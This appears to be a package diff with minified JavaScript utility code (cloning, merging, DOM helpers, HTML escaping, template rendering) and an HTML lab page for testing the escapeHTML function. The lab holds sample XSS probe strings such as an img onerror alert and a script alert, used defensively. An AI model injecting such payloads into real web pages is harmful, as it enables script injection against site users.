instanceof Set&&t instanceof Set))return e;const n=Object.assign({dataMode:"clear",inheritMissing:!0,targetClone:!1,useEnable:!0},r),a=n.targetClone?new Set(...e):e;if("replace"===n.dataMode){const e=[...a],r=[...t],s=smartMerger(e,r,n);a.clear();for(let e of s.result)a.add(e)}else if("concat"===n.dataMode)for(let e of t)a.add(e);else{a.clear();for(let e of t)a.add(e)}return a};return smartMerger(e,t,n).result},shallowCopy:shallowCopy,copyObjectWithSymbol:copyObjectWithSymbol,getEl:getEl,getEls:(e,t=document.body)=>{let r=getDataType(e),n=getEl(t),a=n&&n instanceof HTMLTemplateElement?n.content:n||document,s=[];return isEmpty(e)?s:(r.includes("HTML")?s.push(e):"String"===r?s=(e=e.trim()).split(",").map(e=>[...a.querySelectorAll(e)]).flat():"Array"===r&&(s=e.map(e=>getEl(e,n))),s.filter(Boolean))},createEl:createEl,getSvgUri:e=>`data:image/svg+xml;utf8,${e.replace(/\n/g,"").replace(/\s+/g," ").trim().replace(/%/g,"%25").replace(/#/g,"%23").replace(/{/g,"%7B").replace(/}/g,"%7D").replace(/</g,"%3C").replace(/>/g,"%3E")}`,fileToBase64:e=>new Promise((t,r)=>{const n=new FileReader;n.onload=()=>{"string"==typeof n.result?t(n.result):r(new Error("FileReader result is not a string"))},n.onerror=()=>{r(n.error||new Error("Unknown error occurred during file reading"))},n.readAsDataURL(e)}),NAMESPACE:"ax",ALIAS:n,COMMA:",",SPACE:" ",trim:trim,parseClasses:parseClasses,getClasses:e=>{let t=getEl(e);return t?parseClasses(t.getAttribute("class")||""):[]},addClasses:addClasses,removeClasses:(e,t,r)=>{const n=getEl(e),a=parseClasses(t);n&&0!==a.length&&a.forEach(e=>{let t;r?(t=r(e),!0===t?n.classList.remove(e):"string"==typeof t&&t&&n.classList.remove(t)):n.classList.remove(e)})},createTools:e=>{const t=createEl("span",{class:"ax-box-tools"}),renderFn=e=>{const t={},r=e.extendable?`<i ${n}="arrow"></i>`:"",a=(e.icon?`<i ${n}="icon">${e.icon}</i>`:"")+(e.disk?`<i ${n}="disk"><img src="${e.disk}"/></i>`:"")+(e.cube?`<i ${n}="cube"><img src="${e.cube}"/></i>`:"")+(e.image?`<i ${n}="image"><img src="${e.image}"/></i>`:"")+(e.label?`<i ${n}="label">${e.label}</i>`:"")+r;e.title&&(t.title=e.title),e.focusable&&(t.tabindex=1),e.wrapEl=createEl(e.nodeName||"span",Object.assign(t,e.attrs),a),e.iconEl=e.wrapEl.querySelector(`[${n}="icon"]`),e.cubeEl=e.wrapEl.querySelector(`[${n}="cube"]`),e.diskEl=e.wrapEl.querySelector(`[${n}="disk"]`),e.imageEl=e.wrapEl.querySelector(`[${n}="image"]`),e.labelEl=e.wrapEl.querySelector(`[${n}="label"]`),!isEmpty(e.classes)&&addClasses(e.wrapEl,e.classes),!isEmpty(e.styles)&&(e.wrapEl.style.cssText+=e.styles)};for(let r of e)renderFn(r),t.appendChild(r.wrapEl),r?.action?.(r);return t},typeWriter:(e,t)=>{const r=t.speed||100;return new Promise(n=>{t?.onBeforeType?.(e);let a=0;const s=setInterval(()=>{if(a<e.length){const r=e.charAt(a),n=e.substring(0,a+1);t?.onDuringType?.(r,n),a++}else clearInterval(s),n(e),t?.onAfterType?.(e)},r)})},parseLLMStream:async(e,t)=>{if(!(e&&e instanceof ReadableStream))throw new Error("Invalid input: ReadableStream is missing or not an instance of ReadableStream.");const r=e.getReader(),n=new TextDecoder("utf-8");let a="";const s={fullText:"",finishReason:null,usage:null,isCompleted:!1};try{for(;;){const{done:e,value:o}=await r.read();if(e)break;a+=n.decode(o,{stream:!0});let l=a.split("\n");a=l.pop()||"";for(const e of l){const r=e.trim();if(!r||!r.startsWith("data: "))continue;const n=r.substring(6);if("[DONE]"!==n)try{const e=JSON.parse(n),r=e.choices?.[0],a=r?.delta?.content||"";a&&(s.fullText+=a,t?.(a)),r?.finish_reason&&(s.finishReason=r.finish_reason),e.usage&&(s.usage=e.usage)}catch(e){}else s.isCompleted=!0}}}catch(e){throw e}return s},toKebabCase:(e,t="",r="")=>`${t}${e.replace(/([A-Z])/g,"-$1").toLowerCase()}${r}`,trimEmptyLines:e=>null==e?"":e.replace(/^\s*\n|\n\s*$/g,"")||"",escapeHtmlChars:e=>e?e.replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/"/g,"&quot;").replace(/'/g,"&#39;"):"",decodeHtmlEntities:e=>{if(!e)return"";const t=document.createElement("textarea");return t.innerHTML=e,t.value}}});
15
+ !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e||self).utils=t()}(this,function(){"use strict";const getDataType=e=>{let t,r=Object.prototype.toString.call(e).slice(8,-1);return t="Function"===r&&/^\s*class\s+/.test(e.toString())?"Class":"Object"===r&&Object.getPrototypeOf(e)!==Object.prototype?"Instance":r,t},deepClone=(e,t={})=>{const r=getDataType(e),n=Object.assign({cloneSet:!0,cloneMap:!0,cloneObject:!0,cloneArray:!0,cloneDate:!0,cloneRegex:!0},t);if(n.interceptor&&"function"==typeof n.interceptor){let t=n.interceptor({input:e,type:r,parent:n.parent});if(t)return t}n.onBeforeClone?.({input:e,type:r,parent:n.parent});let a,s=!0;if("Object"===r&&n.cloneObject){const t={},r=Object.getOwnPropertySymbols(e);for(const r in e)t[r]=deepClone(e[r],n);if(r.length>0)for(const a of r)t[a]=deepClone(e[a],{...n,parent:e});a=t}else if("Array"===r&&n.cloneArray)a=e.map(t=>deepClone(t,{...n,parent:e}));else if("Map"===r&&n.cloneMap){const t=new Map;for(const[r,a]of e)t.set(deepClone(r,n),deepClone(a,{...n,parent:e}));a=t}else if("Set"===r&&n.cloneSet){const t=new Set;for(const r of e)t.add(deepClone(r,{...n,parent:e}));a=t}else if("Date"===r&&n.cloneDate)a=new Date(e.getTime());else if("RegExp"===r&&n.cloneRegex){const t=e;a=new RegExp(t.source,t.flags)}else a=e,s=!1;return n.onAfterClone?.({output:a,input:e,type:r,cloned:s,parent:n.parent}),a},deepCloneToJSON=e=>{const t=getDataType(e);if("Object"===t){const t={};for(const r in e)t[r]=deepCloneToJSON(e[r]);for(const e in t)void 0===t[e]&&Reflect.deleteProperty(t,e);return t}if("Array"===t){return e.map((e,t)=>deepCloneToJSON(e)).filter(e=>void 0!==e)}return["Number","String","Boolean","Null"].includes(t)?e:void 0},e=["push","pop","shift","unshift","splice","sort","reverse","copyWithin","fill"],t={basic:{"&":"&amp;","<":"&lt;",">":"&gt;"},attribute:{"&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&apos;","`":"&#x60;"},content:{"&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&apos;","/":"&#x2F;"},uri:{"&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&apos;","(":"&#40;",")":"&#41;","[":"&#91;","]":"&#93;"},paranoid:{"&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&apos;","`":"&#x60;","/":"&#x2F;","=":"&#x3D;","!":"&#x21;","#":"&#x23;","(":"&#40;",")":"&#41;","[":"&#91;","]":"&#93;","{":"&#x7B;","}":"&#x7D;",":":"&#x3A;",";":"&#x3B;"}},r=Object.keys(t).reduce((e,r)=>{const n=Object.keys(t[r]).map(e=>e.replace(/[.*+?^${}()|[\]\\]/g,"\\$&"));return e[r]=new RegExp(`[${n.join("")}]`,"g"),e},{}),escapeHTML=(e,n="attribute")=>{if("string"!=typeof e)return"";const a=t[n],s=r[n];return e.replace(s,e=>a[e])},getUniqueId=(e={})=>{const t=e.prefix,r=e.suffix,n=e.base10,a=e.base36;return`${t?t+"-":""}${Date.now()}${a?"-"+Math.random().toString(36).substring(2,11):""}${n?"-"+Math.floor(1e4*Math.random()).toString().padStart(4,"0"):""}${r?"-"+r:""}`},requireTypes=(e,t,r)=>{let n=Array.isArray(t)?t:[t],a=getDataType(e),s=a.toLowerCase(),o=n.map(e=>e.toLowerCase()),i=s.includes("html")?"element":s;if(r)try{if(!o.includes(i))throw new TypeError(`Expected data type(s): [${o.join(", ")}], but got: ${i}`)}catch(e){r(e,a)}else if(!o.includes(i))throw new TypeError(`Expected data type(s): [${o.join(", ")}], but got: ${i}`);return a},toSingleLine=(e,t=!1)=>{const r=e.replace(/[\r\t\n]/g,"");return t?r.replace(/\s+/g," "):r},n=["add","delete","clear"],a=["set","delete","clear"],copyObjectWithSymbol=e=>{if(!e||"object"!=typeof e)return e;const t=e,r=Object.getOwnPropertySymbols(t).reduce((e,r)=>(e[r]=t[r],e),{});return{...t,...r}},shallowCopy=(e,t={})=>{const r=getDataType(e);return"Set"===r?new Set([...e]):"Map"===r?new Map([...e]):Array.isArray(e)?[...e]:"object"===r?copyObjectWithSymbol(e):"Date"===r?new Date(e.getTime()):"RegExp"===r?new RegExp(e.source,e.flags):"Buffer"===r?Buffer.from(e):"ArrayBuffer"===r||ArrayBuffer.isView(e)?e.slice(0):"WeakSet"===r?new WeakSet([...e]):"WeakMap"===r?new WeakMap([...e]):"Error"===r?new Error(e.message):e},getEl=(e,t=document.body)=>{let r=getDataType(e),n=getDataType(t),a=n.includes("HTML")||"ShadowRoot"===n?t:document.querySelector(t),s=a&&a instanceof HTMLTemplateElement?a.content:a,o=null;if(e)if(r.includes("HTML"))o=e;else if("String"===r)try{o=(s||document).querySelector(e.trim())}catch{o=null}return o},isEmpty=e=>{let t,r=getDataType(e);return t=!e||("Object"===r?0===Object.keys(e).length:"Array"===r?""===e.join(""):"Function"===r?"{}"===e.toString().replace(/\s+/g,"").match(/{.*}/g)[0]:"Symbol"===r?"()"===e.toString().replace(/\s+/g,"").match(/\(.*\)/g)[0]:"Set"===r||"Map"===r?0===e.size:"Date"===r?isNaN(e.getTime()):"RegExp"===r?""===e.source:"ArrayBuffer"===r?0===e.byteLength:"NodeList"===r||"HTMLCollection"===r||"length"in e&&"number"==typeof e.length?0===e.length:"size"in e&&"number"==typeof e.size?0===e.size:"Error"===r||e instanceof Error?""===e.message:!(!r.includes("Array")||!["Uint8Array","Int8Array","Uint16Array","Int16Array","Uint32Array","Int32Array","Float32Array","Float64Array"].includes(r))&&0===e.length),t},createEl=(e,t,r)=>{let n=(e=e||"div").toUpperCase().trim(),a=document.createElement(n),s=getDataType(t);if(t&&"Object"===s)for(let e in t)t.hasOwnProperty(e)&&a.setAttribute(e,"string"==typeof t[e]?t[e]:JSON.stringify(t[e]));return((e,t)=>{if(""===t||null==t)return!1;let r=getDataType(t);if("TEMPLATE"===n)e.innerHTML=t.toString();else if("Array"===r&&t.length>0)for(let r of t){if(getDataType(r).includes("HTML"))e.appendChild(r);else{let t=createEl(r.name,r.attrs,r.content);t&&e.appendChild(t)}}else if(r.includes("HTML"))e.appendChild(t);else if("String"===r&&t.trim().startsWith("#")&&t.trim().length>1){let r=getEl(t);if(!r)return;"TEMPLATE"===r.nodeName?e.appendChild(r.content.cloneNode(!0)):e.insertAdjacentHTML("beforeEnd",r.innerHTML)}else e.insertAdjacentHTML("beforeEnd",t)})(a,r),a},s="rep",trim=(e,t="compress")=>{if("string"!=typeof e)return"";switch(t){case"start":return e.trimStart();case"end":return e.trimEnd();case"both":return e.trim();case"global":return e.replace(/[\s\r\n]+/g,"");default:return e.trim().replace(/[\s\r\n]+/g," ")}},parseClasses=e=>{let t,r=[];return Array.isArray(e)?r=e.filter(e=>e&&"string"==typeof e):(t=(e=trim(e)).includes(",")?",":" ",r=e.split(t)),r.map(e=>trim(e,"global")).filter(Boolean)},addClasses=(e,t,r)=>{const n=getEl(e),a=parseClasses(t);n&&0!==a.length&&a.forEach(e=>{let t;r?(t=r(e),!0===t?n.classList.add(e):"string"==typeof t&&t&&n.classList.add(t)):n.classList.add(e)})};return{getDataType:getDataType,requireTypes:requireTypes,deepClone:deepClone,deepCloneToJSON:deepCloneToJSON,wrapArrayMethods:({target:t,onBeforeMutate:r=()=>{},onAfterMutate:n=()=>{},allowList:a,props:s={}})=>{if(!Array.isArray(t))throw new TypeError("The 'target' parameter must be an array.");a&&!a?.length||(a=e);const o={};for(let e of a)o[e]=function(...a){const o={},i=t.length;switch(e){case"push":case"unshift":o.addedItems=[...a];break;case"pop":o.poppedItem=t[i-1];break;case"shift":o.shiftedItem=t[0];break;case"splice":const[e,r]=a,n=e<0?Math.max(i+e,0):Math.min(e,i),s=void 0===r?i-n:r;o.deletedItems=t.slice(n,n+s);break;case"sort":case"reverse":o.oldSnapshot=[...t];break;case"fill":case"copyWithin":const l=a[1]||0,c=void 0===a[2]?i:a[2];o.oldItems=t.slice(l,c),o.start=l,o.end=c}r?.(o);const l=Array.prototype[e].apply(t,a),c={value:l,key:e,args:a,context:o,target:t,...s};return n?.(c),l};return o},arrayMutableMethods:e,setMutableMethods:n,mapMutableMethods:a,wrapSetMethods:({target:e,onBeforeMutate:t=()=>{},onAfterMutate:r=()=>{},allowList:a=n,props:s={}})=>{if(!(e instanceof Set))throw new TypeError("The 'target' parameter must be a Set.");const o={},createWrappedMethod=n=>function(...a){const o={};switch(n){case"add":{const[t]=a;o.addedItem=t,o.existed=e.has(t);break}case"delete":{const[t]=a;o.existed=e.has(t),o.deletedItem=o.existed?t:void 0;break}case"clear":o.clearedItems=Array.from(e),o.previousSize=e.size}t(o);const i=e[n].apply(e,a),l={method:n,result:i,args:a,context:o,target:e,...s};return r(l),i};for(const e of a)n.includes(e)&&(o[e]=createWrappedMethod(e));return Object.defineProperty(o,"target",{get:()=>e,enumerable:!1,configurable:!1}),o},wrapMapMethods:({target:e,onBeforeMutate:t=()=>{},onAfterMutate:r=()=>{},allowList:n=a,props:s={}})=>{if(!(e instanceof Map))throw new TypeError("The 'target' parameter must be a Map.");const o={},createWrappedMethod=n=>function(...a){const o={};switch(n){case"set":{const[t,r]=a;o.key=t,o.newValue=r,o.existed=e.has(t),o.oldValue=o.existed?e.get(t):void 0;break}case"delete":{const[t]=a;o.key=t,o.existed=e.has(t),o.value=o.existed?e.get(t):void 0;break}case"clear":o.clearedItems=Array.from(e.entries()),o.previousSize=e.size}t(o);const i=e[n].apply(e,a),l={method:n,result:i,args:a,context:o,target:e,...s};return r(l),i};for(const e of n)a.includes(e)&&(o[e]=createWrappedMethod(e));return Object.defineProperty(o,"target",{get:()=>e,enumerable:!1,configurable:!1}),o},getUniqueId:getUniqueId,deepMerge:(e,t,r={})=>{const n=Object.assign({dataMode:"clear",inheritMissing:!0,targetClone:!1,useEnable:!0,useSymbol:!0,nullBehavior:"preserve",undefinedBehavior:"preserve",deepClone:{},onBeforeMerge:void 0,onAfterMerge:void 0},r),smartMerger=(e,t,n)=>{let a,s,o=getDataType(e),i=getDataType(t),l=!0;if(n.interceptor&&"function"==typeof n.interceptor){let r=n.interceptor({target:e,source:t,targetType:o,sourceType:i,parent:n.parent});if(r){if(null===r?.target||null===r?.source)return r;e=r.target,t=r.source}}return n?.onBeforeMerge?.({target:e,source:t,targetType:o,sourceType:i,parent:n.parent}),"Object"===o&&"Object"===i?(s=deepMergeObjects(e,t,n),a="Object"):"Array"===o&&"Array"===i?(s=deepMergeArrays(e,t,n),a="Array"):"Set"===o&&"Set"===i?(s=deepMergeSets(e,t,n),a="Set"):"Map"===o&&"Map"===i?(s=deepMergeMaps(e,t,n),a="Map"):(l=!1,s=e),n?.onAfterMerge?.({result:s,target:e,source:t,targetType:o,sourceType:i,mergeType:a,parent:r.parent}),{result:s,flag:l,mergeType:a}},mergeEnableObject=(e,t)=>e?.hasOwnProperty("enable")&&"boolean"==typeof t?(e.enable=t,e):t?.hasOwnProperty("enable")&&"boolean"==typeof e?Object.assign({enable:e},t):t,deepMergeObjects=(e,t,r={})=>{let n=getDataType(e),a=getDataType(t);if("Object"!==n||"Object"!==a)return e;const s=Object.assign({inheritMissing:!0,targetClone:!1,useEnable:!0},r);let o={};o=s.targetClone?shallowCopy(e):e;for(let e in t){const n=o[e],a=t[e];if(t.hasOwnProperty(e)&&o.hasOwnProperty(e)){const t=smartMerger(n,a,{...r,parent:o});if(t.flag)t.mergeType?"Object"===t.mergeType&&(o[e]=t.result):o[e]=a;else{let t=s.useEnable?mergeEnableObject(n,a):a;n!==t&&null===t?"ignore"===s.nullBehavior||("delete"===s.nullBehavior?Reflect.deleteProperty(o,e):o[e]=t):n!==t&&void 0===t?"ignore"===s.undefinedBehavior||("delete"===s.undefinedBehavior?Reflect.deleteProperty(o,e):o[e]=a):o[e]=a}}else t.hasOwnProperty(e)&&!o.hasOwnProperty(e)&&s.inheritMissing&&(o[e]=a)}if(s.useSymbol){let e=Object.getOwnPropertySymbols(t);if(e.length)for(let r of e)o[r]=t[r]}return o},deepMergeArrays=(e,t,r={})=>{if(!Array.isArray(e)||!Array.isArray(t))return e;const n=Object.assign({dataMode:"clear",inheritMissing:!0,targetClone:!1},r),a=n.targetClone?[...e]:e;if("replace"===n.dataMode)for(let e=0;e<t.length&&(n.inheritMissing||!(e>=a.length));e++){smartMerger(a[e],t[e],{...n,parent:a}).flag||(a[e]=t[e])}else"concat"===n.dataMode||(a.length=0),a.push(...t);return a},deepMergeMaps=(e,t,r={})=>{if(!(e instanceof Map&&t instanceof Map))return e;const n=Object.assign({inheritMissing:!0,targetClone:!1,useEnable:!0},r),a=n.targetClone?new Map([...e]):e;for(const[e,s]of t.entries())if(a.has(e)){const t=a.get(e),r=s,o=smartMerger(t,r,n);o.flag?"Object"===o.mergeType&&a.set(e,o.result):a.set(e,r)}else r.inheritMissing&&a.set(e,s);return a},deepMergeSets=(e,t,r={})=>{if(!(e instanceof Set&&t instanceof Set))return e;const n=Object.assign({dataMode:"clear",inheritMissing:!0,targetClone:!1,useEnable:!0},r),a=n.targetClone?new Set(...e):e;if("replace"===n.dataMode){const e=[...a],r=[...t],s=smartMerger(e,r,n);a.clear();for(let e of s.result)a.add(e)}else if("concat"===n.dataMode)for(let e of t)a.add(e);else{a.clear();for(let e of t)a.add(e)}return a};return smartMerger(e,t,n).result},shallowCopy:shallowCopy,copyObjectWithSymbol:copyObjectWithSymbol,getEl:getEl,getEls:(e,t=document.body)=>{let r=getDataType(e),n=getEl(t),a=n&&n instanceof HTMLTemplateElement?n.content:n||document,s=[];return isEmpty(e)?s:(r.includes("HTML")?s.push(e):"String"===r?s=(e=e.trim()).split(",").map(e=>[...a.querySelectorAll(e)]).flat():"Array"===r&&(s=e.map(e=>getEl(e,n))),s.filter(Boolean))},createEl:createEl,getSvgUri:e=>`data:image/svg+xml;utf8,${e.replace(/\n/g,"").replace(/\s+/g," ").trim().replace(/%/g,"%25").replace(/#/g,"%23").replace(/{/g,"%7B").replace(/}/g,"%7D").replace(/</g,"%3C").replace(/>/g,"%3E")}`,fileToBase64:e=>new Promise((t,r)=>{const n=new FileReader;n.onload=()=>{"string"==typeof n.result?t(n.result):r(new Error("FileReader result is not a string"))},n.onerror=()=>{r(n.error||new Error("Unknown error occurred during file reading"))},n.readAsDataURL(e)}),NAMESPACE:"ax",ALIAS:s,COMMA:",",SPACE:" ",trim:trim,parseClasses:parseClasses,getClasses:e=>{let t=getEl(e);return t?parseClasses(t.getAttribute("class")||""):[]},addClasses:addClasses,removeClasses:(e,t,r)=>{const n=getEl(e),a=parseClasses(t);n&&0!==a.length&&a.forEach(e=>{let t;r?(t=r(e),!0===t?n.classList.remove(e):"string"==typeof t&&t&&n.classList.remove(t)):n.classList.remove(e)})},createTools:e=>{const t=createEl("span",{class:"ax-box-tools"}),renderFn=e=>{const t={},r=e.extendable?`<i ${s}="arrow"></i>`:"",n=(e.icon?`<i ${s}="icon">${e.icon}</i>`:"")+(e.disk?`<i ${s}="disk"><img src="${e.disk}"/></i>`:"")+(e.cube?`<i ${s}="cube"><img src="${e.cube}"/></i>`:"")+(e.image?`<i ${s}="image"><img src="${e.image}"/></i>`:"")+(e.label?`<i ${s}="label">${e.label}</i>`:"")+r;e.title&&(t.title=e.title),e.focusable&&(t.tabindex=1),e.wrapEl=createEl(e.nodeName||"span",Object.assign(t,e.attrs),n),e.iconEl=e.wrapEl.querySelector(`[${s}="icon"]`),e.cubeEl=e.wrapEl.querySelector(`[${s}="cube"]`),e.diskEl=e.wrapEl.querySelector(`[${s}="disk"]`),e.imageEl=e.wrapEl.querySelector(`[${s}="image"]`),e.labelEl=e.wrapEl.querySelector(`[${s}="label"]`),!isEmpty(e.classes)&&addClasses(e.wrapEl,e.classes),!isEmpty(e.styles)&&(e.wrapEl.style.cssText+=e.styles)};for(let r of e)renderFn(r),t.appendChild(r.wrapEl),r?.action?.(r);return t},typeWriter:(e,t)=>{const r=t.speed||100;return new Promise(n=>{t?.onBeforeType?.(e);let a=0;const s=setInterval(()=>{if(a<e.length){const r=e.charAt(a),n=e.substring(0,a+1);t?.onDuringType?.(r,n),a++}else clearInterval(s),n(e),t?.onAfterType?.(e)},r)})},parseLLMStream:async(e,t)=>{if(!(e&&e instanceof ReadableStream))throw new Error("Invalid input: ReadableStream is missing or not an instance of ReadableStream.");const r=e.getReader(),n=new TextDecoder("utf-8");let a="";const s={fullText:"",finishReason:null,usage:null,isCompleted:!1};try{for(;;){const{done:e,value:o}=await r.read();if(e)break;a+=n.decode(o,{stream:!0});let i=a.split("\n");a=i.pop()||"";for(const e of i){const r=e.trim();if(!r||!r.startsWith("data: "))continue;const n=r.substring(6);if("[DONE]"!==n)try{const e=JSON.parse(n),r=e.choices?.[0],a=r?.delta?.content||"";a&&(s.fullText+=a,t?.(a)),r?.finish_reason&&(s.finishReason=r.finish_reason),e.usage&&(s.usage=e.usage)}catch(e){}else s.isCompleted=!0}}}catch(e){throw e}return s},toKebabCase:(e,t="",r="")=>`${t}${e.replace(/([A-Z])/g,"-$1").toLowerCase()}${r}`,trimEmptyLines:e=>null==e?"":e.replace(/^\s*\n|\n\s*$/g,"")||"",decodeHtmlEntities:e=>{if(!e)return"";const t=document.createElement("textarea");return t.innerHTML=e,t.value},escapeCharsMaps:t,escapeRegexMaps:r,escapeHTML:escapeHTML,toSingleLine:toSingleLine,renderTpl:(e,t,r={})=>{if(requireTypes(e,"string",e=>""),!e.trim())return"";let n=requireTypes(t,["array","object"],t=>e);if(0===Object.keys(t).length)return e;let a,s=Object.assign({strict:!1,start:"{{",end:"}}",suffix:"/"},r),o=s.start.split("").map(e=>"\\"+e).join(""),i=s.end.split("").map(e=>"\\"+e).join(""),l=new RegExp(`${o}([\\s\\S]+?)?${i}`,"g"),c='"use strict";let str=[];\n',p=0,u="",f=`__esc__${getUniqueId()}`,add=(e,t)=>(t?e.endsWith(s.suffix)?c+=e.slice(0,-s.suffix.length)+"\n":c+=s.escape?`str.push(${f}(String(${e}), "${s.escape}"));\n`:`str.push(${e});\n`:c+=""!==e?'str.push("'+e.replace(/\\/g,"\\\\").replace(/"/g,'\\"').replace(/\n/g,"\\n").replace(/\r/g,"\\r")+'");\n':"",add);for(;a=l.exec(e);)add(e.slice(p,a.index))(a[1],!0),p=a.index+a[0].length;add(e.slice(p)),c+="return str.join('');",c=toSingleLine(c);try{if(s.strict||"Array"===n)u=new Function(f,c).apply(t,[escapeHTML]);else{let e=Object.keys(t),r=Object.values(t);u=new Function(...e,f,c).bind(t)(...r,escapeHTML)}}catch(e){}return u}}});
package/dist.zip CHANGED
Binary file
@@ -0,0 +1,140 @@
1
+ <!DOCTYPE html>
2
+ <html lang="en">
3
+
4
+ <head>
5
+ <meta charset="UTF-8">
6
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
7
+ <title>escapeHTML Security Lab</title>
8
+ <style>
9
+ body {
10
+ font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;
11
+ line-height: 1.6;
12
+ max-width: 900px;
13
+ margin: 0 auto;
14
+ padding: 20px;
15
+ background: #f4f7f9;
16
+ }
17
+
18
+ .card {
19
+ background: white;
20
+ padding: 20px;
21
+ border-radius: 8px;
22
+ box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
23
+ margin-bottom: 20px;
24
+ }
25
+
26
+ textarea {
27
+ width: 100%;
28
+ height: 80px;
29
+ padding: 10px;
30
+ border: 1px solid #ccc;
31
+ border-radius: 4px;
32
+ font-family: monospace;
33
+ }
34
+
35
+ .grid {
36
+ display: grid;
37
+ grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
38
+ gap: 15px;
39
+ margin-top: 20px;
40
+ }
41
+
42
+ .result-box {
43
+ border: 1px solid #e0e0e0;
44
+ border-radius: 6px;
45
+ padding: 15px;
46
+ background: #fff;
47
+ }
48
+
49
+ .result-box h3 {
50
+ margin-top: 0;
51
+ color: #2c3e50;
52
+ font-size: 1rem;
53
+ border-bottom: 2px solid #3498db;
54
+ display: inline-block;
55
+ }
56
+
57
+ pre {
58
+ background: #272822;
59
+ color: #f8f8f2;
60
+ padding: 10px;
61
+ border-radius: 4px;
62
+ overflow-x: auto;
63
+ font-size: 0.85rem;
64
+ white-space: pre-wrap;
65
+ word-break: break-all;
66
+ }
67
+
68
+ .preview {
69
+ border: 1px dashed #aaa;
70
+ padding: 10px;
71
+ margin-top: 10px;
72
+ min-height: 40px;
73
+ font-size: 0.9rem;
74
+ color: #666;
75
+ }
76
+
77
+ .tag {
78
+ font-size: 0.7rem;
79
+ background: #eee;
80
+ padding: 2px 6px;
81
+ border-radius: 10px;
82
+ text-transform: uppercase;
83
+ margin-left: 5px;
84
+ }
85
+ </style>
86
+ </head>
87
+
88
+ <body>
89
+
90
+ <h1>EscapeHTML Context Lab</h1>
91
+ <p>Test how different escape strengths protect against common XSS vectors.</p>
92
+
93
+ <div class="card">
94
+ <label><strong>1. Input Malicious String:</strong></label>
95
+ <textarea id="inputPayload"><img src=x onerror="alert('XSS')" /> `backtick` [bracket] (parentheses)</textarea>
96
+ <div style="margin-top: 10px;">
97
+ <button onclick="runTest('basic')">Test All Contexts</button>
98
+ <small style="margin-left: 10px; color: #666;">Try: <code>&lt;script&gt;alert(1)&lt;/script&gt;</code> or
99
+ <code>" onmouseover="alert(1)</code></small>
100
+ </div>
101
+ </div>
102
+
103
+ <div class="grid" id="resultsGrid">
104
+ </div>
105
+
106
+ <script src="../dist/utils.umd.js" type="text/javascript" charset="utf-8"></script>
107
+ <script>
108
+
109
+
110
+ // --- UI Logic ---
111
+ window.runTest = () => {
112
+ const input = document.getElementById('inputPayload').value;
113
+ const grid = document.getElementById('resultsGrid');
114
+ grid.innerHTML = '';
115
+
116
+ const contexts = ['basic', 'attribute', 'content', 'uri', 'paranoid'];
117
+
118
+ contexts.forEach(ctx => {
119
+ const escaped = utils.escapeHTML(input, ctx);
120
+ const div = document.createElement('div');
121
+ console.log(ctx+':',escaped);
122
+ div.className = 'result-box';
123
+ div.innerHTML = `
124
+ <h3>${ctx.toUpperCase()}</h3>
125
+ <div class="tag">${Object.keys(utils.escapeCharsMaps[ctx]).length} chars</div>
126
+ <p><small>Escaped Source:</small></p>
127
+ <pre>${escaped}</pre>
128
+ <p><small>Browser Render Result:</small></p>
129
+ <div class="preview">${escaped}</div>
130
+ `;
131
+ grid.appendChild(div);
132
+ });
133
+ };
134
+
135
+ // Initial run
136
+ runTest();
137
+ </script>
138
+ </body>
139
+
140
+ </html>